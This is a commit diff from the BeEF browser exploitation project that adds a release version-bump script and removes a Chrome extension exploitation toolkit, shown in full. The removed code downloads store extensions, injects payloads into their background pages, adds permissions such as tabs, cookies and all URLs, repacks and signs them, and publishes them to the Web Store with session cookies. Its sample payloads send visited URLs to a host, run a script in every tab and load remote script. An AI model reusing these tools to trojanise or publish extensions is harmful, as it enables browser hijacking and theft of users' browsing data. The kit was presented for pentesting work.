Tools: Remove chrome_extensions_exploitation (#2798)

* Tools: Remove chrome_extensions_exploitation

* Tools: move scripts/bump-version.sh -> tools/bump-version.sh
This commit is contained in:
bcoles
2023-04-03 20:01:05 +10:00
committed by GitHub
parent a3b0d88999
commit c6618cd932
19 changed files with 7 additions and 872 deletions

24
tools/bump-version.sh Executable file
View File

@@ -0,0 +1,24 @@
#!/usr/bin/env bash
if [[ -z "${1}" || -z "${2}" ]]; then
echo "Error: missing arguments"
exit 1
fi
if [[ ! -f beef || ! -f VERSION ]]; then
echo "Error: must be run from within the BeEF root directory"
exit 1
fi
echo "Updating version ${1} to ${2}"
git checkout -b "release/${2}"
sed -i '' -e "s/$1/$2/g" VERSION
sed -i '' -e "s/\"version\": \"$1\"/\"version\": \"$2\"/g" package.json
sed -i '' -e "s/\"version\": \"$1\"/\"version\": \"$2\"/g" package-lock.json
sed -i '' -e "s/\"version\": \"$1\"/\"version\": \"$2\"/g" config.yaml
git add VERSION package.json package-lock.json config.yaml
git commit -m "Version bump ${2}"
git push --set-upstream origin "release/${2}"
git push

View File

@@ -1,87 +0,0 @@
Various tools for dealing with Chrome Extensions, especially valuable for pentesting / social engineering assignments.
Authors:
- Krzysztof Kotowicz - @kkotowicz - [blog](http://blog.kotowicz.net)
- Michele '@antisnatchor' Orru
Injector
--------
Bunch of scripts for injecting existing extensions with new code:
Extensions can be downloaded from Chrome WebStore (repacker-webstore) or taken from crx files (repacker-crx).
Requirements:
- bash
- ruby
- zip (cmd line)
- curl (cmd line)
- Google Chrome (used in crx mode only)
Usage:
# get extension from Web Store, add payloads/phonehome.js and copy the extension to repacked-dir/
$ injector/repacker-webstore.sh clcbnchcgjcjphmnpndoelbdhakdlfkk dir repacked-dir payloads/phonehome.js
# Same, but pack into repacked.zip instead
$ injector/repacker-webstore.sh clcbnchcgjcjphmnpndoelbdhakdlfkk zip repacked.zip payloads/phonehome.js
# Create new CRX with Google Chrome
$ injector/repacker-webstore.sh clcbnchcgjcjphmnpndoelbdhakdlfkk crx repacked.crx payloads/phonehome.js
# Inject into existing CRX file
$ injector/repacker-crx.sh original.crx crx repacked.crx payloads/phonehome.js
# Add some permissions into manifest.json
$ injector/repacker-crx.sh original.crx crx repacked.crx payloads/phonehome.js "tabs,proxy"
# Add persistent content script file launching on every tab
$ echo 'console.log(location.href)' > cs.js
$ injector/repacker-crx.sh original.crx crx repacked.crx payloads/cs_mass_poison.js "tabs,<all_urls>" cs.js
For example - mass poisoning every tab with [mosquito](https://github.com/koto/mosquito):
# start mosquito server:
$ cd path/to/mosquito
$ python mosquito/start.py 8082 4444 --http 8000
# generate mosquito hook:
# - visit http://localhost:8000/generate
# - save hook as cs.js
# inject mosquito dropper into extension:
$ injector/repacker-crx.sh original.crx crx repacked.crx payloads/cs_mass_poison.js "tabs,<all_urls>" cs.js
Webstore Uploader
-----------------
Script for uploading and publishing Chrome Extensions packed in zip files in Chrome Web Store
Requirements:
- ruby
Usage:
# Preparation:
1. Create Chrome developer account
2. Login at https://chrome.google.com/webstore/developer/dashboard/
3. Pay your $5 one time fee (credit card needed)
4. Get SID, SSID, HSID cookies and paste their values in webstore_uploader/config.rb file
# Get Chrome extension code
# e.g. run Injector in zip mode:
$ injector/repacker-webstore.sh clcbnchcgjcjphmnpndoelbdhakdlfkk zip repacked.zip payloads/phonehome.js
# (optional) - prepare screenshot / description file
# publish the extension right away
$ ruby webstore_uploader/webstore_upload.rb repacked.zip publish description.txt screenshot.png
# or just upload & save it:
$ ruby webstore_uploader/webstore_upload.rb repacked.zip save description.txt screenshot.png
# you can access the extension from your developer dashboard

View File

@@ -1,135 +0,0 @@
#!/usr/bin/env ruby
# encoding: UTF-8
# Authors:
# Krzysztof Kotowicz - @kkotowicz - http://blog.kotowicz.net
require 'rubygems'
require 'json'
require 'securerandom'
class ChromeExtensionToolkit
@ext = ''
@manifest
BCG_SCRIPT = 1
BCG_PAGE = 2
def initialize(extpath)
raise ArgumentError, "Empty extension path" unless extpath
raise ArgumentError, "Invalid extension path" unless File.directory?(extpath)
@ext = extpath
end
def reload_manifest()
f = get_file('manifest.json')
manifest = File.read(f).sub("\xef\xbb\xbf", '')
manifest = JSON.parse(manifest)
set_manifest(manifest)
return manifest
end
def get_manifest()
if @manifest
return @manifest
end
return reload_manifest()
end
def set_manifest(manifest)
@manifest = manifest
end
def save_manifest()
save_file('manifest.json', JSON.pretty_generate(@manifest))
end
def save_file(file, contents)
File.open(get_file(file), 'w') {|f| f.write contents }
end
def get_file(file)
return File.join(@ext, file)
end
def assert_not_app()
manifest = get_manifest()
raise RuntimeError, "Apps are not supported, only regular Chrome extensions" if manifest['app']
end
def inject_script(payload)
assert_not_app()
assert_background_page('injector_bg') # add page to extensions that don't have one
bcg_file = get_file(get_background_page())
if File.exist?(bcg_file)
bcg = File.read(bcg_file)
else
bcg = ""
end
if not payload
return bcg
end
if bcg_file.end_with? ".js" # js file, just prepend payload
return payload + ";" + bcg
end
name = SecureRandom.hex + '.js'
save_file(name, payload)
return bcg.sub(/(\<head\>|\Z)/i, "\\1\n<script src=\"/#{name}\"></script>")
end
def assert_background_page(default)
manifest = get_manifest()
if not manifest['manifest_version'].nil? and manifest['manifest_version'] >= 2
if manifest['background'].nil?
manifest['background'] = {}
end
if manifest['background']['page']
return BCG_PAGE
end
if not manifest['background']['scripts'].nil?
manifest['background']['scripts'].unshift(default + '.js')
set_manifest(manifest)
return BCG_SCRIPT
else
manifest['background']['scripts'] = [default + '.js']
set_manifest(manifest)
return BCG_SCRIPT
end
end
if not manifest['background_page']
manifest['background_page'] = default + '.html'
end
set_manifest(manifest)
return BCG_PAGE
end
def add_permissions(perms)
manifest = get_manifest()
manifest['permissions'] += perms
manifest['permissions'].uniq!
set_manifest(manifest)
end
def get_background_page()
manifest = get_manifest()
if manifest['background'] and manifest['background']['page']
return manifest['background']['page']
end
if manifest['background'] and manifest['background']['scripts']
return manifest['background']['scripts'][0]
end
if manifest['background_page']
return manifest['background_page']
end
raise RuntimeError, "No background page present"
end
end

View File

@@ -1,9 +0,0 @@
#!/usr/bin/env bash
# path to chrome binary
CHROMEPATH="/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
# Private key to sign repacked extensions with.
# Leave empty to generate new file on every run.
#PEM="/home/koto/dev/xsschef/tools/dev.pem"
PEM=

View File

@@ -1,53 +0,0 @@
#!/usr/bin/env ruby
# encoding: UTF-8
# Authors:
# Krzysztof Kotowicz - @kkotowicz - http://blog.kotowicz.net
require_relative 'chrome_extension_toolkit.rb'
def help()
puts "[-] Error. Usage: ruby inject.rb <extension-path> [permissions] < script.js"
puts "Example: ruby inject.rb dir-with-extension 'plugins,proxy,cookies' < inject.js"
exit 1
end
begin
extpath = ARGV[0]
if not extpath
help()
end
t = ChromeExtensionToolkit.new(extpath)
puts "Loaded extension in #{extpath}"
manifest = t.get_manifest()
puts "Existing manifest: "
puts manifest
# injecting any script from stdin
puts "Reading payload..."
payload = $stdin.read
puts "Injecting payload..."
injected = t.inject_script(payload)
print injected
if ARGV[1]
perms = ARGV[1].split(',')
puts "Adding permissions #{ARGV[1]}..."
t.add_permissions(perms)
end
puts "Saving..."
# write
t.save_file(t.get_background_page(), injected)
t.save_manifest()
puts "Done."
rescue Exception => e
$stderr.puts e.message
$stderr.puts e.backtrace.inspect
exit 1
end

View File

@@ -1,117 +0,0 @@
#!/usr/bin/env bash
# Authors:
# Krzysztof Kotowicz - @kkotowicz - http://blog.kotowicz.net
#
# Unpacks a crx file, inject it with given payload, and, optionally
# packs it into zip/crx file
# see ../README.md
DIR=$( cd "$( dirname "$0" )" && pwd )
source $DIR/config.ini
RUNDIR=`pwd`
tempfoo=`basename $0`
TMPDIR=`mktemp -d -t ${tempfoo}` || exit 1
EXTDIR="$TMPDIR"
INPUT_CRX=$1
MODE=$2
DESTINATION=$3
JS_FILE=$4
shift 4
if [ ! -z "$1" ]; then # 5th param optional
PERMISSIONS=$1
shift
else
PERMISSIONS=""
fi
function help {
printf "Usage: %s: <input.crx> <mode> <destination> <inject-bg.js> [permissions] [file1 ... ] \n" $(basename $0) >&2
echo " <input.crx> - original extension CRX file" >&2
echo " <mode> - output mode (dir|zip|crx)" >&2
echo " <destination> - directory or file path to write injected extension to (depending on <mode>)" >&2
echo " <inject-bg.js> - script to inject into extension background" >&2
echo " [permissions] - comma separated permissions requested by script (to add to manifest)">&2
echo " [file...] - additional files to add to extension" >&2
exit 2
}
if [[ $# -eq 0 ]] ; then
help
fi
if [ ! -f "${INPUT_CRX}" ]; then
bailout "No input CRX file! - ${INPUT_CRX}"
fi
if [ ! -f "${JS_FILE}" ]; then
bailout "No file to inject! - ${JS_FILE}"
fi
if [ -z "$DESTINATION" ] || [ -z "$MODE" ]; then
bailout "You must give mode and destination!"
fi
function cleanup {
rm -rf "$TMPDIR"
}
function bailout () {
echo "Error: $1" >&2
cleanup
exit 1
}
echo "Unpacking $INPUT_CRX to $EXTDIR..."
# supress warning about extra prefix bytes
unzip -qo "$INPUT_CRX" -d "$EXTDIR" 2>/dev/null
echo "Injecting script $JS_FILE..."
$DIR/inject.rb "$EXTDIR" "$PERMISSIONS" < $JS_FILE || bailout "Injection failed"
# copy additional files
for file in "$@"
do
if [ -f "$file" ]; then
echo "Adding $file..."
cp "$file" "$EXTDIR"
fi
done
echo "Mode: $MODE"
case "$MODE" in
crx)
if [ ! -x "$CHROMEPATH" ]; then
bailout "You must set correct CHROMEPATH in tools/config.ini"
fi
echo "Signing $EXTDIR..."
"$CHROMEPATH" --pack-extension="$EXTDIR" --pack-extension-key="$PEM" --no-message-box
if (( $? )) ; then
bailout "Signing in Chrome FAILED."
fi
echo "Moving signed extension to $DESTINATION"
mv "`dirname "$EXTDIR"`/`basename "$EXTDIR"`.crx" "$DESTINATION"
;;
zip)
echo "Zipping extension to $DESTINATION"
cd "$EXTDIR"
zip -r __tmp.zip .
cd -
mv "$EXTDIR/__tmp.zip" $DESTINATION
;;
dir)
echo "Moving extension directory to $DESTINATION"
rm -r "$DESTINATION"
mv "$EXTDIR" "$DESTINATION"
;;
*)
bailout "Unknown mode: $MODE"
esac
cleanup

View File

@@ -1,100 +0,0 @@
#!/usr/bin/env bash
# Authors:
# Krzysztof Kotowicz - @kkotowicz - http://blog.kotowicz.net
#
# Downloads extension from Google Chrome Webstore, inject it with given payload, and, optionally
# packs it into zip/crx file
# see ../README.md
RUNDIR=`pwd`
DIR=$( cd "$( dirname "$0" )" && pwd )
tempfoo=`basename $0`
TMPDIR=`mktemp -d -t ${tempfoo}` || exit 1
function help {
printf "Usage: %s: [-q] <extension_id> <mode> <destination> <inject-bg.js> [permissions] [file1 ...] \n" $(basename $0) >&2
echo " -q : quiet, only repacked extension filename will be printed to stdout" >&2
echo " <extension_id> - extension id from Chrome WebStore" >&2
echo " <mode> - output mode (dir|zip|crx)" >&2
echo " <destination> - directory or file path to write injected extension to (depending on <mode>)" >&2
echo " <inject-bg.js> - script to inject into extension background" >&2
echo " [permissions] - comma separated permissions requested by script (to add to manifest)">&2
echo " [file...] - additional files to add to extension" >&2
exit 2
}
function cleanup {
rm -rf "$TMPDIR"
cd "$RUNDIR"
}
function bailout () {
echo "Error: $1" >&2
cleanup
exit 1
}
#Parsing command line parameters
QUIET=
PERMISSIONS="tabs,proxy,<all_urls>,history,cookies,management,plugins"
while getopts 'qh' OPTION
do
case $OPTION in
q) QUIET="1"
;;
h) help
;;
*) help
;;
esac
done
shift $(($OPTIND - 1))
if [[ $# -eq 0 ]] ; then
help
fi
EXT_ID="$1"
MODE="$2"
DESTINATION="$3"
JS_FILE="$4"
PERMISSIONS="$5"
shift 5
if [ -z "$EXT_ID" ]; then
bailout "No extension ID!"
fi
if [ ! -f "${JS_FILE}" ]; then
bailout "No file to inject! - ${JS_FILE}"
fi
if [ -z "$DESTINATION" ] || [ -z "$MODE" ]; then
bailout "You must give mode and destination!"
fi
WEBSTORE_URL="https://clients2.google.com/service/update2/crx?response=redirect&x=id%3D${EXT_ID}%26lang%3Dpl%26uc"
# offline test
# cp tmp/adblock.crx "$TMPDIR/org.crx"
if [ "$QUIET" ]; then
curl -L "$WEBSTORE_URL" -o "$TMPDIR/org.crx" --silent
else
curl -L "$WEBSTORE_URL" -o "$TMPDIR/org.crx"
fi
if (( $? )) ; then
bailout "CURL failed."
fi
if [ "$QUIET" ]; then
$DIR/repacker-crx.sh "$TMPDIR/org.crx" "$MODE" "$DESTINATION" "$JS_FILE" "$PERMISSIONS" $@ >/dev/null || bailout "Repacker failed"
echo -n $DESTINATION
else
$DIR/repacker-crx.sh "$TMPDIR/org.crx" "$MODE" "$DESTINATION" "$JS_FILE" "$PERMISSIONS" $@ || bailout "Repacker failed"
fi
rm $TMPDIR/org.crx

View File

@@ -1,2 +0,0 @@
// sample payload
console.log(location.href);

View File

@@ -1,23 +0,0 @@
// add a /cs.js file to extension and have it run in a content script on every tab
var INJECTOR_CS_PAYLOAD = '/cs.js';
// requires tabs permissions
chrome.tabs.query({}, function (tabs) {
for (var i = 0; i < tabs.length; i++) {
if (tabs[i].url.match('^http')) {
chrome.tabs.executeScript(tabs[i].id, {
allFrames: true,
file: INJECTOR_CS_PAYLOAD});
}
}
}
);
chrome.tabs.onUpdated.addListener( function (tabId, changeInfo, tab) {
if (changeInfo.status == 'complete' && tab.url.match('^http')) {
chrome.tabs.executeScript(tabId, {
allFrames: true,
file: INJECTOR_CS_PAYLOAD
});
}
});

View File

@@ -1,6 +0,0 @@
var x = new XMLHttpRequest();
x.open('get', 'http://localhost/?url=' + encodeURIComponent(location.href), true);
x.onload = x.onerror = function() {
console.log('phoned home');
}
x.send(null);

View File

@@ -1,22 +0,0 @@
# Authors:
# Michele '@antisnatchor' Orru
# 1. Login at https://chrome.google.com/webstore/developer/dashboard/
# 2. Pay your $5 one time fee
# 3. Get SID, SSID, HSID cookies and paste their values below
# if you want to proxy request through Burp, USE_PROXY = true
USE_PROXY = false
PROXY_HOST = "127.0.0.1"
PROXY_PORT = 9090
HTTP_READ_OPEN_TIMEOUT = 30 # seconds
G_PUBLISHER_ID = '' # gXXXXXXX, the last part of the Dashboard URL https://chrome.google.com/webstore/developer/dashboard/gXXXX
# these are the only 3 session cookies needed, the rest of the cookies are not needed.
# you get these cookies when you are successfully authenticated on
SID = ""
SSID = ""
HSID = ""

View File

@@ -1,5 +0,0 @@
d=document;
e=d.createElement('script');
e.src="https://192.168.0.2/ciccio.js";
d.body.appendChild(e);

Binary file not shown.

Before

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.6 KiB

View File

@@ -1,21 +0,0 @@
{
"name": "Test extension",
"manifest_version": 2,
"version": "1.0",
"description": "Test extension",
"background": {
"scripts": ["background.js"]
},
"content_security_policy": "script-src 'self' 'unsafe-eval' https://192.168.0.2; object-src 'self'",
"icons": {
"16": "icon16.png",
"48": "icon48.png",
"128": "icon128.png"
},
"permissions": [
"tabs",
"http://*/*",
"https://*/*",
"cookies"
]
}

View File

@@ -1,289 +0,0 @@
# encoding: UTF-8
require 'rubygems'
require 'net/https'
require 'json'
require 'zip'
require 'json'
# Authors:
# Michele '@antisnatchor' Orru
# Krzysztof Kotowicz - @kkotowicz
# README:
# Before running the script, make sure you change the following 4 variables in config.rb:
# G_PUBLISHER_ID, SID, SSID, HSID
#
# You can retrieve all these values after you're successfully authenticated in the WebStore, see comments
# in the config.rb.sample. Rename it ro config.rb when done.
#
require_relative 'config.rb'
def help()
puts "[-] Error. Usage: ruby webstore_upload.rb <zip_file_name> <publish|save> [description_file] [screenshot_file]"
exit 1
end
zip_name = ARGV[0]
if zip_name == nil
help()
end
EXT_ZIP_NAME = zip_name
mode = ARGV[1]
action = nil
if mode == nil
help()
elsif mode == "publish"
action = "publish"
elsif mode == "save"
action = "save_and_return_to_dashboard"
#action = "save"
else
help()
end
ACTION = action
if !File.exist?(EXT_ZIP_NAME)
puts "[-] Error: #{EXT_ZIP_NAME} does not exist"
help()
end
if ARGV[2] != nil and File.exist?(ARGV[2])
DESCRIPTION = File.new(ARGV[2]).read()
puts "[*] Using description from #{ARGV[2]}"
else
DESCRIPTION = ""
end
if ARGV[3] != nil and File.exist?(ARGV[3])
SCREENSHOT_NAME = ARGV[3]
puts "[*] Using screenshot from #{SCREENSHOT_NAME}"
end
# general get/post request handler
def request(uri, method, headers, post_body)
uri = URI(uri)
http = nil
if USE_PROXY
http = Net::HTTP.new(uri.host, uri.port, PROXY_HOST, PROXY_PORT)
else
http = Net::HTTP.new(uri.host, uri.port)
end
http.read_timeout = HTTP_READ_OPEN_TIMEOUT
http.open_timeout = HTTP_READ_OPEN_TIMEOUT
if uri.scheme == "https"
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end
request = nil
if method == "POST"
request = Net::HTTP::Post.new(uri.request_uri, headers)
if post_body.is_a?(Hash)
request.set_form_data(post_body) # post_body as in: {"key" => "value"}
else
request.body = post_body # post_body as in: {"key" => "value"}
end
else # otherwise GET
request = Net::HTTP::Get.new(uri.request_uri, headers)
end
begin
response = http.request(request)
case response
when Net::HTTPSuccess
then
return response
when Net::HTTPRedirection # if you get a 3xx response
then
return response
else
return nil
end
rescue SocketError => se # domain not resolved
return nil
rescue Timeout::Error => timeout # timeout in open/read
return nil
rescue Errno::ECONNREFUSED => refused # connection refused
return nil
rescue Exception => e
#puts e.message
#puts e.backtrace
return nil
end
end
# raw request to upload the extension.zip file data
def request_octetstream(uri, headers)
file = File.new(EXT_ZIP_NAME)
uri = URI(uri)
req = Net::HTTP::Post.new(uri.request_uri, headers)
post_body = []
post_body << File.read(file)
req.body = post_body.join
req["Content-Type"] = "application/octet-stream"
http = nil
if USE_PROXY
http = Net::HTTP.new(uri.host, uri.port, PROXY_HOST, PROXY_PORT)
else
http = Net::HTTP.new(uri.host, uri.port)
end
http.read_timeout = HTTP_READ_OPEN_TIMEOUT
http.open_timeout = HTTP_READ_OPEN_TIMEOUT
if uri.scheme == "https"
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end
response = http.request(req)
return response
end
# defaults to English Language and Productivity category
def send_publish_request(uri, cx_auth_t, headers, action="publish")
uri = URI(uri)
req = Net::HTTP::Post.new(uri.request_uri, headers)
boundary = rand(14666338978986066131776338987).to_s.center(29, rand(29).to_s)
fields = {
"action" => action, "t" => cx_auth_t, "edit-locale" => "en_US", "desc" => DESCRIPTION, "screenshot" => SCREENSHOT_NAME, "cx-embed-box" => "",
"official_url" => "none", "homepage_url" => "", "support_url" => "", "categoryId" => "7-productivity", "tiers" => "0", "all-regions" => "1",
"cty-AR" => "1", "cty-AU" => "1", "cty-AT" => "1", "cty-BE" => "1", "cty-BR" => "1", "cty-CA" => "1", "cty-CN" => "1",
"cty-CZ" => "1", "cty-DK" => "1", "cty-EG" => "1", "cty-FI" => "1", "cty-FR" => "1", "cty-DE" => "1", "cty-HK" => "1",
"cty-IN" => "1", "cty-ID" => "1", "cty-IL" => "1", "cty-IT" => "1", "cty-JP" => "1", "cty-MY" => "1", "cty-MX" => "1",
"cty-MA" => "1", "cty-NL" => "1", "cty-NZ" => "1", "cty-NO" => "1", "cty-PH" => "1", "cty-PL" => "1", "cty-PT" => "1",
"cty-RU" => "1", "cty-SA" => "1", "cty-SG" => "1", "cty-ES" => "1", "cty-SE" => "1", "cty-CH" => "1", "cty-TW" => "1",
"cty-TH" => "1", "cty-TR" => "1", "cty-UA" => "1", "cty-AE" => "1", "cty-GB" => "1", "cty-US" => "1", "cty-VN" => "1",
"language" => "en", "openid_realm" => "", "analytics_account_id" => "", "extensionAdsBehavior" => "", "publish-destination" => "PUBLIC",
"ignore" => "true", "payment-type" => "free", "subscription-period" => "none", "logo128-image" => "",
}
post_body = []
post_body << "-----------------------------#{boundary}\r\n"
fields.each do |key,value|
if key == "screenshot"
# screenshot must be treated differently
post_body << "Content-Disposition: form-data; name=\"#{key}\"; filename=\"" + (value ? File.basename(value) : '' )+ "\"\r\n"
post_body << "Content-Type: application/octet-stream\r\n\r\n"
post_body << (value ? File.read(value) : '')
post_body << "\r\n"
post_body << "-----------------------------#{boundary}\r\n"
next
elsif key == "logo128-image"
post_body << "Content-Disposition: form-data; name=\"#{key}\"; filename=\"" + (ICON_NAME ? File.basename(ICON_NAME) : '') + "\"\r\n"
post_body << "Content-Type: application/octet-stream\r\n\r\n"
post_body << ICON
post_body << "\r\n"
post_body << "-----------------------------#{boundary}\r\n"
next
end
post_body << "Content-Disposition: form-data; name=\"#{key}\"\r\n"
post_body << "\r\n"
post_body << "#{value}\r\n"
if key == "logo128-image"
post_body << "-----------------------------#{boundary}--\r\n"
break
else
post_body << "-----------------------------#{boundary}\r\n"
end
end
req.body = post_body.join
req["Content-Type"] = "multipart/form-data; boundary=---------------------------#{boundary}"
http = nil
if USE_PROXY
http = Net::HTTP.new(uri.host, uri.port, PROXY_HOST, PROXY_PORT)
else
http = Net::HTTP.new(uri.host, uri.port)
end
http.read_timeout = HTTP_READ_OPEN_TIMEOUT
http.open_timeout = HTTP_READ_OPEN_TIMEOUT
if uri.scheme == "https"
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end
response = http.request(req)
return response
end
puts "[+] Reading manifest..."
Zip::File.open(EXT_ZIP_NAME) do |zip_file|
entry = zip_file.glob('manifest.json').first
manifest = JSON.parse(entry.get_input_stream.read)
ICON_NAME = manifest['icons']['128']
puts "[+] Found icon: #{ICON_NAME}"
ICON = zip_file.glob(ICON_NAME).first.get_input_stream.read
ICON.force_encoding 'utf-8'
end
upload_url = "https://chrome.google.com/webstore/developer/upload"
post_body = '{"protocolVersion":"0.8","createSessionRequest":{"fields":[{"external":{"name":"file","filename":'+
'"' + File.basename(EXT_ZIP_NAME) + '","put":{},"size":' + File.new(EXT_ZIP_NAME).size.to_s + '}},{"inlined":{"name":"extension_id","content":'+
'"null","contentType":"text/plain"}},{"inlined":{"name":"package_id","content":"main","contentType":"text/plain"}},'+
'{"inlined":{"name":"publisher_id","content":"' + G_PUBLISHER_ID + '","contentType":"text/plain"}},'+
'{"inlined":{"name":"language_code","content":"en-US","contentType":"text/plain"}}]}}'
auth_headers = {'Cookie'=> "SID=#{SID}; HSID=#{HSID}; SSID=#{SSID};"}
upload_auth_resp = request(upload_url, 'POST', auth_headers, post_body)
upload_status = JSON.parse(upload_auth_resp.body)
if upload_status['errorMessage'] == nil
upload_id = upload_status['sessionStatus']['upload_id']
upload_url = "https://chrome.google.com/webstore/developer/upload?upload_id=#{upload_id}&file_id=000"
puts "[+] Uploading ZIP..."
response = request_octetstream(upload_url, auth_headers)
upload_status = JSON.parse(response.body)
if upload_status['errorMessage'] == nil && upload_status['sessionStatus']['state'] == "FINALIZED"
extension_id = upload_status['sessionStatus']['additionalInfo']['uploader_service.GoogleRupioAdditionalInfo']['completionInfo']['customerSpecificInfo']['extension_id']
puts "[+] Extension uploaded successful. Extension ID: #{extension_id}"
# Last request, to Publish the extension, requires Language/Category to be set.
# A multipart/form-data request is sent, but we first need to get an hidden form field "cx-action-t" value,
# then send the final multipart/form-data request with that value inside.
puts "[+] Fetching edit page..."
edit_ext_url = "https://chrome.google.com/webstore/developer/edit/#{extension_id}"
edit_ext_resp = request(edit_ext_url, 'GET', auth_headers, nil)
cx_action_t = edit_ext_resp.body.split("id=\"cx-action-t\" name=\"t\" value=\"").last.split("\"").first
if cx_action_t.index('<') != nil # error
puts ['[-] Error: Session invalid, update cookies values']
exit 1
end
puts "[+] Retrieved cx-action-t hidden field value: #{cx_action_t}"
puts "[+] Sending #{ACTION} request..."
edit_ext_resp = send_publish_request(edit_ext_url, cx_action_t, auth_headers, ACTION)
if edit_ext_resp.is_a?(Net::HTTPRedirection)
puts "[+] Extension details (category/language) updated."
final_location = edit_ext_resp['Location']
if ACTION == 'publish'
puts "[+] Extension is in queue for publishing. URL: https://chrome.google.com#{final_location}"
else
puts "[+] Extension updated. URL: https://chrome.google.com#{final_location}"
end
else
if edit_ext_resp.body and edit_ext_resp.body.include?('Please fix the following errors:<ul>')
errors = edit_ext_resp.body.split("Please fix the following errors:<ul>").last.split("</ul>").first.gsub(/<[^>]*>/ui,' ')
puts "[-] Errors: #{errors}"
end
puts "[-] Error updating extension details. Anyway, the extension is uploaded."
end
else
puts "[-] Error: #{upload_status['errorMessage']}"
end
else
puts "[-] Error: #{upload_status['errorMessage']}"
end